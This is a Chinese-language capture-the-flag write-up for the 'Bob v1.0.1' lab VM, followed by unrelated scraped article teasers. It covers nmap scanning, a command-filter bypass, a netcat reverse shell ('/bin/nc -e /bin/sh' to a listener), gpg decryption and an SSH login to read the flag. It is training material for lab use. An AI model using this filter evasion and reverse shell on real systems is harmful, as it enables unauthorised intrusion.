Write-up-Bob_v1.0.1
关于
信息收集
- 网卡:vmnet8;IP在192.168.131.1/24
➜ ~ ip a show dev vmnet8
5: vmnet8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 1000
link/ether 00:50:56:c0:00:08 brd ff:ff:ff:ff:ff:ff
inet 192.168.131.1/24 brd 192.168.131.255 scope global vmnet8
valid_lft forever preferred_lft forever
inet6 fe80::250:56ff:fec0:8/64 scope link
valid_lft forever preferred_lft forever
- Nmap一顿扫;发现IP为192.168.131.139,再深入扫描
➜ ~ nmap -sn 192.168.131.1/24
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-10 21:27 CST
Nmap scan report for 192.168.131.1
Host is up (0.00018s latency).
Nmap scan report for 192.168.131.139
Host is up (0.00078s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 6.49 seconds
➜ ~
➜ ~ nmap -T4 -A 192.168.131.139 -p1-65535
Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-10 21:28 CST
Nmap scan report for 192.168.131.139
Host is up (0.0019s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 4 disallowed entries
| /login.php /dev_shell.php /lat_memo.html
|_/passwords.html
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn't have a title (text/html).
25468/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
| ssh-hostkey:
| 2048 84:f2:f8:e5:ed:3e:14:f3:93:d4:1e:4c:41:3b:a2:a9 (RSA)
| 256 5b:98:c7:4f:84:6e:fd:56:6a:35:16:83:aa:9c:ea:f8 (ECDSA)
|_ 256 39:16:56:fb:4e:0f:50:85:40:d3:53:22:41:43:38:15 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.65 seconds
➜ ~
- 发现开放了80端口和服务为ssh的25468端口;还有robot.txt文件,里面有
/login.php /dev_shell.php /lat_memo.html /passwords.html
把各个页面都看一遍发现有一个可以执行shell的页面。在lat_memo.html
这个页面找到还有就得文件,可能是备份文件,在dev_shell.php后面加上bak,存在源码备份文件,下载回来获取过滤的规则。然后用脚绕。
GetFlag
dev_shell.php
过滤了"pwd", "ls", "netcat", "ssh", "wget", "ping", "traceroute", "cat", "nc"
,还有;
,如果你用msf生成的Python反弹木马没有上面的关键字可以使用msf的。我生成的木马base64编码后刚刚好有NC这个关键词。所以我换了其他方法。在nc前面加上绝对路径。
/bin/nc -e /bin/sh 192.168.131.1 7788
- 在本地用nc监听7788端口;
nc -lvp 7788
,然后执行命令。 - 拿到Shell后转tty;
python -c "import pty;pty,spawn('/bin/bash')"
;翻遍home目录
www-data@Milburg-High:/home/bob/Documents$ ls
ls
Secret login.txt.gpg staff.txt
www-data@Milburg-High:/home/bob/Documents$ cat staff.txt
cat staff.txt
Seb:
Seems to like Elliot
Wants to do well at his job
Gave me a backdoored FTP to instal that apparently Elliot gave him
James:
Does nothing
Pretty Lazy
Doesn't give a shit about his job
Elliot:
Keeps to himself
Always needs to challenge everything I do
Keep an eye on him
Try and get him fired
www-data@Milburg-High:/home/bob/Documents$
<uments/Secret/Keep_Out/Not_Porn/No_Lookie_In_Here$ gpg
gpg
gpg: Fatal: can't create directory '/var/www/.gnupg': Permission denied
www-data@Milburg-High:/home/bob/Documents/Secret/Keep_Out/Not_Porn$ cd No_Lookie_In_Here
<ents/Secret/Keep_Out/Not_Porn$ cd No_Lookie_In_Here
<uments/Secret/Keep_Out/Not_Porn/No_Lookie_In_Here$ ls
ls
notes.sh
<uments/Secret/Keep_Out/Not_Porn/No_Lookie_In_Here$ cat notes.sh
cat notes.sh
#!/bin/bash
clear
echo "-= Notes =-"
echo "Harry Potter is my faviorite"
echo "Are you the real me?"
echo "Right, I'm ordering pizza this is going nowhere"
echo "People just don't get me"
echo "Ohhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh <sea santy here>"
echo "Cucumber"
echo "Rest now your eyes are sleepy"
echo "Are you gonna stop reading this yet?"
echo "Time to fix the server"
echo "Everyone is annoying"
echo "Sticky notes gotta buy em"
- Google一顿找到这是一首藏头诗。每个大写字母开头组成一串
HARPOCRATES
,刚刚也看到了一个gpg文件,所以这可能是解密的密码。但在目标机上执行gpg发现没权限。就开启python -m SimpleHTTPServer
把文件下载回来本地解密了。
➜ DOWNLOAD gpg --batch --passphrase HARPOCRATES -d login.txt.gpg
gpg: AES 加密过的数据
gpg: 以 1 个密码加密
bob:b0bcat_
- 因为bob就是服务器的管理员,所以可以用他的密码登录ssh。
➜ DOWNLOAD ssh bob@192.168.131.139 -p 25468
__ __ _ _ _ _____
| \/ (_) | | / ____|
| \ / |_| | |__ _ _ _ __ __ _ | (___ ___ _ ____ _____ _ __
| |\/| | | | '_ \| | | | '__/ _` | \___ \ / _ \ '__\ \ / / _ \ '__|
| | | | | | |_) | |_| | | | (_| | ____) | __/ | \ V / __/ |
|_| |_|_|_|_.__/ \__,_|_| \__, | |_____/ \___|_| \_/ \___|_|
__/ |
|___/
bob@192.168.131.139's password:
Linux Milburg-High 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3+deb9u1 (2017-12-23) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Mar 8 23:49:12 2018 from 192.168.56.1
bob@Milburg-High:~$ sudo cat /flag.txt
sudo: unable to resolve host Milburg-High
[sudo] password for bob:
CONGRATS ON GAINING ROOT
.-.
( )
|~| _.--._
|~|~:'--~' |
| | : #root |
| | : _.--._|
|~|~`'--~'
| |
| |
| |
| |
| |
| |
| |
| |
| |
_____|_|_________ Thanks for playing ~c0rruptedb1t
bob@Milburg-High:~$
Write-up-Bob_v1.0.1的更多相关文章
- ZAM 3D 制作简单的3D字幕 流程(二)
原地址:http://www.cnblogs.com/yk250/p/5663907.html 文中表述仅为本人理解,若有偏差和错误请指正! 接着 ZAM 3D 制作简单的3D字幕 流程(一) .本篇 ...
- ZAM 3D 制作3D动画字幕 用于Xaml导出
原地址-> http://www.cnblogs.com/yk250/p/5662788.html 介绍:对经常使用Blend做动画的人来说,ZAM 3D 也很好上手,专业制作3D素材的XAML ...
- 微信小程序省市区选择器对接数据库
前言,小程序本身是带有地区选着器的(网站:https://mp.weixin.qq.com/debug/wxadoc/dev/component/picker.html),由于自己开发的程序的数据是很 ...
- osg编译日志
1>------ 已启动全部重新生成: 项目: ZERO_CHECK, 配置: Debug x64 ------1> Checking Build System1> CMake do ...
- 【AR实验室】OpenGL ES绘制相机(OpenGL ES 1.0版本)
0x00 - 前言 之前做一些移动端的AR应用以及目前看到的一些AR应用,基本上都是这样一个套路:手机背景显示现实场景,然后在该背景上进行图形学绘制.至于图形学绘制时,相机外参的解算使用的是V-SLA ...
- Elasticsearch 5.0 中term 查询和match 查询的认识
Elasticsearch 5.0 关于term query和match query的认识 一.基本情况 前言:term query和match query牵扯的东西比较多,例如分词器.mapping ...
- Swift3.0服务端开发(一) 完整示例概述及Perfect环境搭建与配置(服务端+iOS端)
本篇博客算是一个开头,接下来会持续更新使用Swift3.0开发服务端相关的博客.当然,我们使用目前使用Swift开发服务端较为成熟的框架Perfect来实现.Perfect框架是加拿大一个创业团队开发 ...
- vue2.0实践的一些细节
最近用vue2.0做了个活动.做完了回头发现,好像并没有太多的技术难点,而自己好像又做了比较久...只能说效率有待提升啊...简单总结了一些比较细节的点. 1.对于一些已知肯定会有数据的模块,先用一个 ...
- Linux平台 Oracle 10gR2(10.2.0.5)RAC安装 Part3:db安装和升级
Linux平台 Oracle 10gR2(10.2.0.5)RAC安装 Part3:db安装和升级 环境:OEL 5.7 + Oracle 10.2.0.5 RAC 5.安装Database软件 5. ...
- Linux平台 Oracle 10gR2(10.2.0.5)RAC安装 Part1:准备工作
Linux平台 Oracle 10gR2(10.2.0.5)RAC安装 Part1:准备工作 环境:OEL 5.7 + Oracle 10.2.0.5 RAC 1.实施前准备工作 1.1 服务器安装操 ...
随机推荐
- Python学习(一)——开发语言和Python的安装
开发语言: 高级语言: Python,Java,PHP,C#,Go,ruby,C++...都依赖于C→字节码 语言的对比: Python,Java:既能写网页又能写后台 Python:开发效率比Jav ...
- MST — Kruskal's algorithm
算法简介 Kruskal算法可用来求解MST(最小生成树)问题,还可以作为迷宫生成算法等. 算法分析 其实算法不难理解,算法先要将 $ G(V, E) $ 的集合 $ E $ 按权重 $ \Omega ...
- C++的new&delete
new的过程 new的过程:先分配memory,再调用ctor 我们常用的创建对象的方法有两种 Complex c(1,2); //栈 Complex *pc = new Complex(1,2); ...
- 计算机基础 - 动态规划、分治法、memo
动态规划 ≈ 分治法 + memo def memo(func): cache = {} def wrap(*args): if args not in cache: cache[args] = fu ...
- [BUUCTF 2018]Online Tool
进入页面 贴出源码 <?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER ...
- WinForm开发(5)——DataGridView控件(3)——DataGridView控件操作
一.禁止用户改变DataGridView的列宽.行高.列头高度 1.// 禁止用户改变DataGridView1的所有列的列宽 DataGridView1.AllowUserToResizeColum ...
- ES6-const定义常量
在es5中我们一般将变量名大写来表明这是一个常量,但其实它是可以修改的. 在es6中可以用const来定义常量,它定义的常量不能修改. const NAME = 'tom'; NAME ...
- 21. Regular Expressions--from Apache
转自: http://jmeter.apache.org/usermanual/regular_expressions.html 21.1 Overview¶ JMeter includes the ...
- JAVA GUI窗体及控件
Swing基本操作: JAVA显示一个带按钮的窗口: import java.awt.*; import javax.swing.*; import javax.swing.border.EmptyB ...
- Linux vim中方向键变成字母的问题
使用Ubuntu Desktop 18.04 时 发现 vim 在编辑模式的时候,方向键变成了字母ABCD. 原因: Ubuntu预装的是vim tiny版本,安装vim full版本即可解决. 1. ...